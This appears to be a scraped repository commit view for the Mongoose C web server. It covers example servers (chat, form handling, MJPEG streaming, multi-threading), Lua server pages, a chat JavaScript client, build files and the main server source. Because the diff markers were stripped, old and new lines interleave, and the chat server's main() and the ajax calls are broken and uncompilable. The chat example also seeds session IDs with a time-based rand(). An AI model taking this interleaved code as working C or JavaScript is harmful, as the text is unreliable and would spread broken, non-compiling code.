static int is_authorized(const struct mg_connection *conn,
const struct mg_request_info *request_info) {
struct session *session;
char valid_id[33];
int authorized = 0;
// Always authorize accesses to login page and to authorize URI
if (!strcmp(request_info->uri, login_url) ||
!strcmp(request_info->uri, authorize_url)) {
return 1;
}
pthread_rwlock_rdlock(&rwlock);
if ((session = get_session(conn)) != NULL) {
generate_session_id(valid_id, session->random, session->user);
if (strcmp(valid_id, session->session_id) == 0) {
session->expire = time(0) + SESSION_TTL;
authorized = 1;
}
}
pthread_rwlock_unlock(&rwlock);
return authorized;
}
static void redirect_to_ssl(struct mg_connection *conn,
const struct mg_request_info *request_info) {
const char *p, *host = mg_get_header(conn, "Host");
if (host != NULL && (p = strchr(host, ':')) != NULL) {
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Location: https://%.*s:8082/%s:8082\r\n\r\n",
(int) (p - host), host, request_info->uri);
} else {
mg_printf(conn, "%s", "HTTP/1.1 500 Error\r\n\r\nHost: header is not set");
}
}
static void *event_handler(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
void *processed = "yes";
if (event == MG_NEW_REQUEST) {
if (!request_info->is_ssl) {
redirect_to_ssl(conn, request_info);
} else if (!is_authorized(conn, request_info)) {
redirect_to_login(conn, request_info);
} else if (strcmp(request_info->uri, authorize_url) == 0) {
authorize(conn, request_info);
} else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
ajax_get_messages(conn, request_info);
} else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
ajax_send_message(conn, request_info);
} else {
// No suitable handler found, mark as not processed. Mongoose will
// try to serve the request.
processed = NULL;
}
} else {
processed = NULL;
}
return processed;
}
static const char *options[] = {
"document_root", "html",
"listening_ports", "8081,8082s",
"ssl_certificate", "ssl_cert.pem",
"num_threads", "5",
NULL
};
int main(void) {
struct mg_context *ctx;
struct mg_server *server = mg_create_server(NULL);
mg_set_option(server, "listening_port", "8080");
mg_set_option(server, "document_root", "chat_html_root");
// Initialize random number generator. It will be used later on for
// the session identifier creation.
srand((unsigned) time(0));
// Setup and start Mongoose
if ((ctx = mg_start(&event_handler, NULL, options)) == NULL) {
printf("%s\n", "Cannot start chat server, fatal exit");
exit(EXIT_FAILURE);
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
// Wait until enter is pressed, then exit
printf("Chat server started on ports %s, press enter to quit.\n",
mg_get_option(ctx, "listening_ports"));
getchar();
mg_stop(ctx);
printf("%s\n", "Chat server stopped.");
return EXIT_SUCCESS;
return 0;
}
// vim:ts=2:sw=2:et
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -3,7 +3,7 @@
var chat = {
// Backend URL, string.
// 'http://backend.address.com' or '' if backend is the same as frontend
backendUrl: '',
backendUrl: 'api.lp',
maxVisibleMessages: 10,
errorMessageFadeOutTimeoutMs: 2000,
errorMessageFadeOutTimer: null,
@@ -20,7 +20,7 @@ chat.refresh = function(data) {
if (data === undefined) {
return;
}
$.each(data, function(index, entry) {
var row = $('<div>').addClass('message-row').appendTo('#mml');
var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
@@ -49,9 +49,7 @@ chat.refresh = function(data) {
chat.getMessages = function(enter_loop) {
$.ajax({
dataType: 'jsonp',
url: chat.backendUrl + '/ajax/get_messages',
data: {last_id: chat.lastMessageId},
data: {last_id: chat.lastMessageId, cmd: 'get_messages'},
success: chat.refresh,
error: function() {
},
@@ -82,9 +80,7 @@ chat.handleMessageInput = function(ev) {
return;
//input.disabled = true;
$.ajax({
dataType: 'jsonp',
url: chat.backendUrl + '/ajax/send_message',
data: {text: input.value},
data: { text: input.value, cmd: 'send_message' },
success: function(ev) {
input.value = '';
input.disabled = false;
@@ -98,6 +94,10 @@ chat.handleMessageInput = function(ev) {
};
$(document).ready(function() {
$.ajaxSetup({
dataType: 'json',
url: chat.backendUrl
});
$('.menu-item').click(chat.handleMenuItemClick);
$('.message-input').keypress(chat.handleMessageInput);
chat.getMessages(true);
File renamed without changes.
+47
View File
@@ -0,0 +1,47 @@
#include <stdio.h>
#include <string.h>
#include "mongoose.h"
static int index_html(struct mg_connection *conn) {
FILE *fp = (FILE *) conn->connection_param;
char buf[200];
size_t n = 0;
if (fp == NULL) {
fp = fopen("../mongoose.c", "r");
conn->connection_param = (void *) fp;
}
if (fp != NULL) {
n = fread(buf, 1, sizeof(buf), fp);
mg_send_data(conn, buf, n);
if (n < sizeof(buf) || conn->wsbits != 0) {
fclose(fp);
conn->connection_param = NULL;
}
}
return n < sizeof(buf) ? MG_REQUEST_PROCESSED : MG_REQUEST_CALL_AGAIN;
}
int main(void) {
struct mg_server *server;
// Create and configure the server
server = mg_create_server(NULL);
mg_set_option(server, "listening_port", "8080");
mg_set_request_handler(server, index_html);
// Serve request. Hit Ctrl-C to terminate the program
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
// Cleanup, and free server instance
mg_destroy_server(&server);
return 0;
}
+22 -24
View File
@@ -2,36 +2,34 @@
#include <string.h>
#include "mongoose.h"
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
int result = MG_FALSE;
if (event == MG_NEW_REQUEST) {
char content[1024];
int content_length = snprintf(content, sizeof(content),
"Hello from mongoose! Remote port: %d",
request_info->remote_port);
mg_printf(conn,
"HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Content-Length: %d\r\n" // Always set Content-Length
"\r\n"
"%s",
content_length, content);
// Mark as processed
return "";
} else {
return NULL;
if (ev == MG_REQUEST) {
mg_printf_data(conn, "Hello! Requested URI is [%s]", conn->uri);
result = MG_TRUE;
} else if (ev == MG_AUTH) {
result = MG_TRUE;
}
return result;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", "8080", NULL};
struct mg_server *server;
ctx = mg_start(&callback, NULL, options);
getchar(); // Wait until user hits "enter"
mg_stop(ctx);
// Create and configure the server
server = mg_create_server(NULL, ev_handler);
mg_set_option(server, "listening_port", "8080");
// Serve request. Hit Ctrl-C to terminate the program
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
// Cleanup, and free server instance
mg_destroy_server(&server);
return 0;
}
+12
View File
@@ -0,0 +1,12 @@
LOCAL_PATH := $(call my-dir)/../..
include $(CLEAR_VARS)
# To build with lua support, uncomment two lines below:
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
LOCAL_MODULE := mongoose
LOCAL_SRC_FILES := examples/server.c mongoose.c $(LUA_SOURCES)
include $(BUILD_EXECUTABLE)
+15
View File
@@ -0,0 +1,15 @@
HTTP/1.0 200 OK
Content-Type: text/plain
<?
-- Directory scanning example
function scandir(dir)
local t = {}
for f in io.popen('dir ' .. dir):lines() do table.insert(t, f) end
return t
end
local tab = scandir('C:\\')
for k,v in pairs(tab) do mg.write(v, '\n') end
?>
+42
View File
@@ -0,0 +1,42 @@
HTTP/1.0 200 OK
Content-Type: text/html
<html>
<p>Prime numbers from 0 to 100, calculated by Lua:</p>
<?
function is_prime(n)
if n <= 0 then return false end
if n <= 2 then return true end
if (n % 2 == 0) then return false end
for i = 3, n / 2, 2 do
if (n % i == 0) then return false end
end
return true
end
for i = 1, 100 do
if is_prime(i) then mg.write('<span>' .. i .. '</span>&nbsp;') end
end
?>
<p>Reading POST data from Lua (click submit):</p>
<form method="POST" ><input type="text" name="t1"/><input type="submit"></form>
<pre>
POST data: [<? mg.write(mg.request_info.content) ?>]
request method: [<? mg.write(mg.request_info.request_method) ?>]
IP/port: [<?mg.write(mg.request_info.remote_ip, ':',
mg.request_info.remote_port) ?>]
URI: [<? mg.write(mg.request_info.uri) ?>]
HTTP version [<? mg.write(mg.request_info.http_version) ?>]
Content Len: [<? mg.write(mg.request_info.content_len) ?>]
HEADERS:
<?
for name, value in pairs(mg.request_info.http_headers) do
mg.write(name, ':', value, '\n')
end
?>
</pre>
</html>
+17
View File
@@ -0,0 +1,17 @@
#include <stdio.h>
#include "lua_5.2.1.h"
static int smile(lua_State *L) {
(void) L; // Unused
printf("%s\n", ":-)");
return 0;
}
int LUA_API luaopen_lua_dll(lua_State *L) {
static const struct luaL_Reg api[] = {
{"smile", smile},
{NULL, NULL},
};
luaL_openlib(L, "lua_dll", api, 0);
return 1;
}
+94
View File
@@ -0,0 +1,94 @@
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include "mongoose.h"
static void send_file(struct mg_connection *conn, const char *path) {
char buf[1024];
struct stat st;
int n;
FILE *fp;
if (stat(path, &st) == 0 && (fp = fopen(path, "rb")) != NULL) {
mg_printf(conn, "--myboundary\r\nContent-Type: image/jpeg\r\n"
"Content-Length: %zu\r\n\r\n", st.st_size);
while ((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
mg_write(conn, buf, n);
}
fclose(fp);
mg_write(conn, "\r\n", 2);
}
}
struct conn_state {
int file_index;
time_t last_poll;
};
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
const char **file_names = (const char **) conn->server_param;
struct conn_state *state;
int result = MG_FALSE;
if (ev == MG_REQUEST) {
mg_printf(conn, "%s",
"HTTP/1.0 200 OK\r\n" "Cache-Control: no-cache\r\n"
"Pragma: no-cache\r\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\r\n"
"Connection: close\r\nContent-Type: multipart/x-mixed-replace; "
"boundary=--myboundary\r\n\r\n");
send_file(conn, file_names[0]);
state = (struct conn_state *) malloc(sizeof(*state));
conn->connection_param = state;
state->file_index = 1; // First file is already sent
state->last_poll = time(NULL);
result = MG_MORE;
} else if (ev == MG_POLL) {
time_t now = time(NULL);
state = (struct conn_state *) conn->connection_param;
if (state != NULL && now > state->last_poll) {
if (file_names[state->file_index] != NULL) {
send_file(conn, file_names[state->file_index]);
state->file_index++;
if (file_names[state->file_index] == NULL) {
result = MG_TRUE; // No more images, close connection
}
}
state->last_poll = now;
}
} else if (ev == MG_CLOSE) {
free(conn->connection_param);
conn->connection_param = NULL;
} else if (ev == MG_AUTH) {
result = MG_TRUE;
}
return result;
}
int main(int argc, char *argv[]) {
struct mg_server *server;
if (argc < 3) {
printf("Usage: %s image1.jpg image2.jpg ...\n", argv[0]);
return 1;
}
server = mg_create_server(&argv[1], ev_handler);
mg_set_option(server, "listening_port", "8080");
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
return 0;
}
+53
View File
@@ -0,0 +1,53 @@
# This program is used to embed arbitrary data into a C binary. It takes
# a list of files as an input, and produces a .c data file that contains
# contents of all these files as collection of char arrays.
#
# Usage: perl <this_file> <file1> [file2, ...] > embedded_data.c
foreach my $i (0 .. $#ARGV) {
open FD, '<:raw', $ARGV[$i] or die "Cannot open $ARGV[$i]: $!\n";
printf("static const unsigned char v%d[] = {", $i);
my $byte;
my $j = 0;
while (read(FD, $byte, 1)) {
if (($j % 12) == 0) {
print "\n";
}
printf ' %#04x,', ord($byte);
$j++;
}
print " 0x00\n};\n";
close FD;
}
print <<EOS;
#include <stddef.h>
#include <string.h>
static const struct embedded_file {
const char *name;
const unsigned char *data;
size_t size;
} embedded_files[] = {
EOS
foreach my $i (0 .. $#ARGV) {
print " {\"$ARGV[$i]\", v$i, sizeof(v$i) - 1},\n";
}
print <<EOS;
{NULL, NULL, 0}
};
const char *find_embedded_file(const char *name, size_t *size) {
const struct embedded_file *p;
for (p = embedded_files; p->name != NULL; p++) {
if (!strcmp(p->name, name)) {
if (size != NULL) { *size = p->size; }
return (const char *) p->data;
}
}
return NULL;
}
EOS
+40
View File
@@ -0,0 +1,40 @@
#include "mongoose.h"
// Start a browser and hit refresh couple of times. The replies will
// come from both server instances.
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_REQUEST) {
mg_send_header(conn, "Content-Type", "text/plain");
mg_printf_data(conn, "This is a reply from server instance # %s",
(char *) conn->server_param);
return MG_TRUE;
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return MG_FALSE;
}
}
static void *serve(void *server) {
for (;;) mg_poll_server((struct mg_server *) server, 1000);
return NULL;
}
int main(void) {
struct mg_server *server1, *server2;
server1 = mg_create_server((void *) "1", ev_handler);
server2 = mg_create_server((void *) "2", ev_handler);
// Make both server1 and server2 listen on the same socket
mg_set_option(server1, "listening_port", "8080");
mg_set_listening_socket(server2, mg_get_listening_socket(server1));
// server1 goes to separate thread, server 2 runs in main thread.
// IMPORTANT: NEVER LET DIFFERENT THREADS HANDLE THE SAME SERVER.
mg_start_thread(serve, server1);
mg_start_thread(serve, server2);
getchar();
return 0;
}
+39 -38
View File
@@ -10,52 +10,53 @@ static const char *html_form =
"<input type=\"submit\" />"
"</form></body></html>";
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *ri = mg_get_request_info(conn);
static void send_reply(struct mg_connection *conn) {
char var1[500], var2[500];
if (event == MG_NEW_REQUEST) {
if (!strcmp(ri->uri, "/handle_post_request")) {
// User has submitted a form, show submitted data and a variable value
char post_data[1024],
input1[sizeof(post_data)], input2[sizeof(post_data)];
int post_data_len;
if (strcmp(conn->uri, "/handle_post_request") == 0) {
// User has submitted a form, show submitted data and a variable value
// Parse form data. var1 and var2 are guaranteed to be NUL-terminated
mg_get_var(conn, "input_1", var1, sizeof(var1));
mg_get_var(conn, "input_2", var2, sizeof(var2));
// Read POST data
post_data_len = mg_read(conn, post_data, sizeof(post_data));
// Parse form data. input1 and input2 are guaranteed to be NUL-terminated
mg_get_var(post_data, post_data_len, "input_1", input1, sizeof(input1));
mg_get_var(post_data, post_data_len, "input_2", input2, sizeof(input2));
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
"Content-Type: text/plain\r\n\r\n"
"Submitted data: [%.*s]\n"
"Submitted data length: %d bytes\n"
"input_1: [%s]\n"
"input_2: [%s]\n",
post_data_len, post_data, post_data_len, input1, input2);
} else {
// Show HTML form.
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
"Content-Length: %d\r\n"
"Content-Type: text/html\r\n\r\n%s",
(int) strlen(html_form), html_form);
}
// Mark as processed
return "";
// Send reply to the client, showing submitted form values.
// POST data is in conn->content, data length is in conn->content_len
mg_send_header(conn, "Content-Type", "text/plain");
mg_printf_data(conn,
"Submitted data: [%.*s]\n"
"Submitted data length: %d bytes\n"
"input_1: [%s]\n"
"input_2: [%s]\n",
conn->content_len, conn->content,
conn->content_len, var1, var2);
} else {
return NULL;
// Show HTML form.
mg_send_data(conn, html_form, strlen(html_form));
}
}
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_REQUEST) {
send_reply(conn);
return MG_TRUE;
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return MG_FALSE;
}
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", "8080", NULL};
struct mg_server *server = mg_create_server(NULL, ev_handler);
ctx = mg_start(&callback, NULL, options);
getchar(); // Wait until user hits "enter"
mg_stop(ctx);
mg_set_option(server, "listening_port", "8080");
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
return 0;
}
+484
View File
@@ -0,0 +1,484 @@
// Copyright (c) 2004-2013 Sergey Lyubka
// Copyright (c) 2013-2014 Cesanta Software Limited
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#undef UNICODE // Use ANSI WinAPI functions
#undef _UNICODE // Use multibyte encoding on Windows
#define _MBCS // Use multibyte encoding on Windows
#define _WIN32_WINNT 0x500 // Enable MIIM_BITMAP
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
#undef WIN32_LEAN_AND_MEAN // Let windows.h always include winsock2.h
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <stddef.h>
#include <stdarg.h>
#include <ctype.h>
#include <time.h>
#include "mongoose.h"
#ifdef _WIN32
#include <windows.h>
#include <direct.h> // For chdir()
#include <winsvc.h>
#include <shlobj.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef S_ISDIR
#define S_ISDIR(x) ((x) & _S_IFDIR)
#endif
#define DIRSEP '\\'
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define sleep(x) Sleep((x) * 1000)
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
#define SIGCHLD 0
typedef struct _stat file_stat_t;
#define stat(x, y) _stat((x), (y))
#else
typedef struct stat file_stat_t;
#include <sys/wait.h>
#include <unistd.h>
#define DIRSEP '/'
#define __cdecl
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
#endif // _WIN32
#define MAX_OPTIONS 100
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
static int exit_flag;
static char server_name[50]; // Set by init_server_name()
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
static struct mg_server *server; // Set by start_mongoose()
static const char *s_default_document_root = ".";
static const char *s_default_listening_port = "8080";
#if !defined(CONFIG_FILE)
#define CONFIG_FILE "mongoose.conf"
#endif /* !CONFIG_FILE */
static void __cdecl signal_handler(int sig_num) {
// Reinstantiate signal handler
signal(sig_num, signal_handler);
#ifndef _WIN32
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
// fails if SIGCHLD is ignored, making system() non-functional.
if (sig_num == SIGCHLD) {
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
} else
#endif
{ exit_flag = sig_num; }
}
static void vnotify(const char *fmt, va_list ap, int must_exit) {
char msg[200];
vsnprintf(msg, sizeof(msg), fmt, ap);
fprintf(stderr, "%s\n", msg);
if (must_exit) {
exit(EXIT_FAILURE);
}
}
static void notify(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vnotify(fmt, ap, 0);
va_end(ap);
}
static void die(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vnotify(fmt, ap, 1);
va_end(ap);
}
static void show_usage_and_exit(void) {
const char **names;
int i;
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
MONGOOSE_VERSION, __DATE__);
fprintf(stderr, "Usage:\n");
#ifndef MONGOOSE_NO_AUTH
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
#endif
fprintf(stderr, " mongoose [config_file]\n");
fprintf(stderr, " mongoose [-option value ...]\n");
fprintf(stderr, "\nOPTIONS:\n");
names = mg_get_valid_option_names();
for (i = 0; names[i] != NULL; i += 2) {
fprintf(stderr, " -%s %s\n",
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
}
exit(EXIT_FAILURE);
}
#define EV_HANDLER NULL
static char *sdup(const char *str) {
char *p;
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
strcpy(p, str);
}
return p;
}
static void set_option(char **options, const char *name, const char *value) {
int i;
for (i = 0; i < MAX_OPTIONS - 3; i++) {
if (options[i] == NULL) {
options[i] = sdup(name);
options[i + 1] = sdup(value);
options[i + 2] = NULL;
break;
} else if (!strcmp(options[i], name)) {
free(options[i + 1]);
options[i + 1] = sdup(value);
break;
}
}
if (i == MAX_OPTIONS - 3) {
die("%s", "Too many options specified");
}
}
static void process_command_line_arguments(char *argv[], char **options) {
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
FILE *fp = NULL;
size_t i, cmd_line_opts_start = 1, line_no = 0;
// Should we use a config file ?
if (argv[1] != NULL && argv[1][0] != '-') {
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
cmd_line_opts_start = 2;
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
// No command line flags specified. Look where binary lives
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
} else {
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
}
fp = fopen(config_file, "r");
// If config file was set in command line and open failed, die
if (cmd_line_opts_start == 2 && fp == NULL) {
die("Cannot open config file %s: %s", config_file, strerror(errno));
}
// Load config file settings first
if (fp != NULL) {
fprintf(stderr, "Loading config file %s\n", config_file);
// Loop over the lines in config file
while (fgets(line, sizeof(line), fp) != NULL) {
line_no++;
// Ignore empty lines and comments
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
if (line[i] == '#' || line[i] == '\0') {
continue;
}
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
printf("%s: line %d is invalid, ignoring it:\n %s",
config_file, (int) line_no, line);
} else {
set_option(options, opt, val);
}
}
fclose(fp);
}
// If we're under MacOS and started by launchd, then the second
// argument is process serial number, -psn_.....
// In this case, don't process arguments at all.
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
// Handle command line flags.
// They override config file and default settings.
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
show_usage_and_exit();
}
set_option(options, &argv[i][1], argv[i + 1]);
}
}
}
static void init_server_name(void) {
const char *descr = "";
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s%s",
MONGOOSE_VERSION, descr);
}
static int is_path_absolute(const char *path) {
#ifdef _WIN32
return path != NULL &&
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
#else
return path != NULL && path[0] == '/';
#endif
}
static char *get_option(char **options, const char *option_name) {
int i;
for (i = 0; options[i] != NULL; i++)
if (!strcmp(options[i], option_name))
return options[i + 1];
return NULL;
}
static int path_exists(const char *path, int is_dir) {
file_stat_t st;
return path == NULL || (stat(path, &st) == 0 &&
((S_ISDIR(st.st_mode) ? 1 : 0) == is_dir));
}
static void verify_existence(char **options, const char *name, int is_dir) {
const char *path = get_option(options, name);
if (!path_exists(path, is_dir)) {
notify("Invalid path for %s: [%s]: (%s). Make sure that path is either "
"absolute, or it is relative to mongoose executable.",
name, path, strerror(errno));
}
}
static void set_absolute_path(char *options[], const char *option_name,
const char *path_to_mongoose_exe) {
char path[PATH_MAX], abs[PATH_MAX], *option_value;
const char *p;
// Check whether option is already set
option_value = get_option(options, option_name);
// If option is already set and it is an absolute path,
// leave it as it is -- it's already absolute.
if (option_value != NULL && !is_path_absolute(option_value)) {
// Not absolute. Use the directory where mongoose executable lives
// be the relative directory for everything.
// Extract mongoose executable directory into path.
if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
getcwd(path, sizeof(path));
} else {
snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
path_to_mongoose_exe);
}
strncat(path, "/", sizeof(path) - 1);
strncat(path, option_value, sizeof(path) - 1);
// Absolutize the path, and set the option
abs_path(path, abs, sizeof(abs));
set_option(options, option_name, abs);
}
}
#ifndef MONGOOSE_NO_AUTH
int modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
#endif
static void start_mongoose(int argc, char *argv[]) {
char *options[MAX_OPTIONS];
int i;
if ((server = mg_create_server(NULL, EV_HANDLER)) == NULL) {
die("%s", "Failed to start Mongoose.");
}
#ifndef MONGOOSE_NO_AUTH
// Edit passwords file if -A option is specified
if (argc > 1 && !strcmp(argv[1], "-A")) {
if (argc != 6) {
show_usage_and_exit();
}
exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
EXIT_SUCCESS : EXIT_FAILURE);
}
#endif
// Show usage if -h or --help options are specified
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
show_usage_and_exit();
}
options[0] = NULL;
set_option(options, "document_root", s_default_document_root);
set_option(options, "listening_port", s_default_listening_port);
// Update config based on command line arguments
process_command_line_arguments(argv, options);
// Make sure we have absolute paths for files and directories
// https://github.com/valenok/mongoose/issues/181
set_absolute_path(options, "document_root", argv[0]);
set_absolute_path(options, "dav_auth_file", argv[0]);
set_absolute_path(options, "cgi_interpreter", argv[0]);
set_absolute_path(options, "access_log_file", argv[0]);
set_absolute_path(options, "global_auth_file", argv[0]);
set_absolute_path(options, "ssl_certificate", argv[0]);
if (!path_exists(get_option(options, "document_root"), 1)) {
set_option(options, "document_root", s_default_document_root);
set_absolute_path(options, "document_root", argv[0]);
notify("Setting document_root to [%s]",
mg_get_option(server, "document_root"));
}
// Make extra verification for certain options
verify_existence(options, "document_root", 1);
verify_existence(options, "cgi_interpreter", 0);
verify_existence(options, "ssl_certificate", 0);
for (i = 0; options[i] != NULL; i += 2) {
const char *msg = mg_set_option(server, options[i], options[i + 1]);
if (msg != NULL) {
notify("Failed to set option [%s] to [%s]: %s",
options[i], options[i + 1], msg);
if (!strcmp(options[i], "listening_port")) {
mg_set_option(server, "listening_port", s_default_listening_port);
notify("Setting %s to [%s]", options[i], s_default_listening_port);
}
}
free(options[i]);
free(options[i + 1]);
}
// Change current working directory to document root. This way,
// scripts can use relative paths.
chdir(mg_get_option(server, "document_root"));
// Add an ability to pass listening socket to mongoose
{
const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
if (env != NULL && atoi(env) > 0 ) {
mg_set_listening_socket(server, atoi(env));
}
}
// Setup signal handler: quit on Ctrl-C
signal(SIGTERM, signal_handler);
signal(SIGINT, signal_handler);
#ifndef _WIN32
signal(SIGCHLD, signal_handler);
#endif
}
int main(int argc, char *argv[]) {
init_server_name();
start_mongoose(argc, argv);
printf("%s serving [%s] on port %s\n",
server_name, mg_get_option(server, "document_root"),
mg_get_option(server, "listening_port"));
fflush(stdout); // Needed, Windows terminals might not be line-buffered
while (exit_flag == 0) {
mg_poll_server(server, 1000);
}
printf("Exiting on signal %d ...", exit_flag);
fflush(stdout);
mg_destroy_server(&server);
printf("%s\n", " done.");
return EXIT_SUCCESS;
}
+516
View File
@@ -0,0 +1,516 @@
// Unit test for the mongoose web server.
// g++ -W -Wall -pedantic -g unit_test.c -lssl && ./a.out
// cl unit_test.c /MD
#ifndef _WIN32
#define NS_ENABLE_IPV6
#define NS_ENABLE_SSL
#endif
#define MONGOOSE_POST_SIZE_LIMIT 999
// USE_* definitions must be made before #include "mongoose.c" !
#include "../mongoose.c"
#define FAIL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \
return str; \
} while (0)
#define ASSERT(expr) do { \
static_num_tests++; \
if (!(expr)) FAIL(#expr, __LINE__); \
} while (0)
#define RUN_TEST(test) do { const char *msg = test(); \
if (msg) return msg; } while (0)
#define HTTP_PORT "45772"
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
static int static_num_tests = 0;
#if 0
// Connects to host:port, and sends formatted request to it. Returns
// malloc-ed reply and reply length, or NULL on error. Reply contains
